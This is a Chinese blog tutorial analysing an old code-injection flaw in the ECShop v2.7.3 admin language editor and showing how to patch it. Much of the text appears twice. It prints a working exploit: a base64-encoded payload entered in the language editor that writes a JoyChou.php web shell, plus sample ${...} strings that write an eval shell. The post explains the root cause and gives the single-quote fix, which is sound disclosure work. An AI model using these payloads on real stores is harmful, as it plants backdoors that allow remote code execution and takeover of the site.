您现在的位置是:首页 > cms教程 > Ecshop商城教程Ecshop商城教程
ecshopv2.7.3注入漏洞原因分析和修复方法
雨寒2024-11-27Ecshop商城教程已有人查阅
导读ECSHOP v2.7.3注入漏洞分析和修复测试版本漏洞条件漏洞利用产生原因修复方案1.测试版本v2.7.3 RELEASE 20121106(新)
ECSHOP v2.7.3注入漏洞分析和修复
测试版本
漏洞条件
漏洞利用
产生原因
修复方案1.测试版本
v2.7.3 RELEASE 20121106(新)
v2.7.3 RELEASE 201204112.漏洞条件
需登录到后台3.漏洞利用
1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”
为什么要搜索“用户信息”,还可以搜索其它的吗?
答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以
2) 添加如下后门,将用户信息改为
用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
即生成一个JoyChou.php文件,内容为:
http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
4.产生原因
在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
至于为什么可以执行?原理如下:
下面这三句话都可以执行,与其说代码执行,不如说参数执行。
了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号
修改\admin\edit_languages.php
注:这个注入漏洞很老,但一直存在。我从模板堂下载的ECShop较新版,就含有此漏洞。网站搭建在阿里云,提示服务器上ECShop有注入漏洞,查看后才发现。虽然我已经及时修复,但更多用户可能未曾留意或者没技术支持吧。
测试版本
漏洞条件
漏洞利用
产生原因
修复方案1.测试版本
v2.7.3 RELEASE 20121106(新)
v2.7.3 RELEASE 201204112.漏洞条件
需登录到后台3.漏洞利用
1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”
为什么要搜索“用户信息”,还可以搜索其它的吗?
答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以
2) 添加如下后门,将用户信息改为
用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
即生成一个JoyChou.php文件,内容为:
<?php
assert(
$_POST[x]
);
?>
3) 访问user.php即可产生shell(不用注册登录账户)http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
4.产生原因
在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
for ($i = 0; $i < count($_POST['item_id']); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
$dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
}
}
修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦
$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。至于为什么可以执行?原理如下:
下面这三句话都可以执行,与其说代码执行,不如说参数执行。
<?php
$a = "${ phpinfo()}"; // 有一个空格
$b = "{${phpinfo()}}"; // 多一对{},但是没有空格
$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串
?>
而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。
/* 载入语言文件 */
require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');
5.漏洞修复了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号
修改\admin\edit_languages.php
// 修复前
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
// 修复后,由于想在单引号之间出现单引号,必须使用转义。
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。注:这个注入漏洞很老,但一直存在。我从模板堂下载的ECShop较新版,就含有此漏洞。网站搭建在阿里云,提示服务器上ECShop有注入漏洞,查看后才发现。虽然我已经及时修复,但更多用户可能未曾留意或者没技术支持吧。
本文标签:
很赞哦! ()
下一篇:ecshop安装环境和步骤方法
图文教程
ecshop首页调用文章内容图片教程
我们在对ecshop二次开发或者使用中。常常需要用到ecshop首页调用文章图片,首页调用图片,其实也是非常简单的。我们必须知道在ecshop文章内容中
ecshop去掉前台后台版权的方法实例
一、ECSHOP前台显示的页面的版权在下面几个地方修改:(本人不支持你去掉别人的版权,只做研究之用)1.meta标签中的Generator:includes目录内cls_template.php,里面有一段
ecshop常用函数和调用写法示例
从11月6号入职到现在,接触ecshop,接触php,确实让我收获了一些东西。总是想写一下总结,一直没下笔。这几天总结一下,也算是对前几个月的工作的一个回顾。 1.1 ecshop中最基本的
ecshop模板标签总结,ecshop模板标签手册
先从index.php主页开始页面关键字 {$keywords }页面标题 {$page_title}产品分类父分类列表 {foreach fro
相关源码
-
(自适应响应式)电子数码科技产品介绍带留言网站模板下载为电子产品企业设计的展示系统,集成智能产品对比器、参数规格表和展示模块。支持消费电子、智能设备等多级分类展示,内置产品技术参数数据库。查看源码 -
(自适应)家政保洁保姆打扫卫生清灰服务pbootcms模板免费下载采用手工编写的DIV+CSS架构,代码结构清晰无冗余,加载速度优异。响应式设计适配各类终端设备,保障手机、平板、电脑端的一致浏览体验。查看源码 -
帝国CMS7.5小说推荐公众号导航带wap手机站+带采集工具本模板为小说导航类网站设计开发,基于帝国CMS7.5内核构建,针对小说阅读领域的分类聚合需求进行深度优化。通过智能分类系统和用户行为分析,实现小说资源的精准推荐与导航功能。查看源码 -
(自适应)平面设计网络工作室个人作品展示网站模板免费下载基于PbootCMS内核开发的响应式网站模板,为设计工作室、创意机构打造的作品展示解决方案。通过模块化布局与极简交互设计,呈现设计作品的视觉细节,支持作品分类、案例解析等多维度展示方式。查看源码 -
(响应式)蓝色智能摄像头安防防盗电子设备免费pbootcms源码下载这是一款针对智能安防行业特点设计的网站模板,采用蓝色系配色方案,体现科技感和安全性。模板包含产品展示、解决方案、技术支持和新闻中心等核心模块,能够全面展示智能安防设备的技术特点和行业应用。查看源码 -
(自适应响应式)高端家用办公家具家居桌椅pbootcms模板下载为办公家具企业设计的响应式网站模板,涵盖产品展示、案例呈现、企业介绍等核心模块。通过可视化后台可快速发布实木桌椅、系统家具、办公屏风等产品信息,帮助客户直观了解材质参数与空间搭配方案。查看源码
| 分享笔记 (共有 篇笔记) |
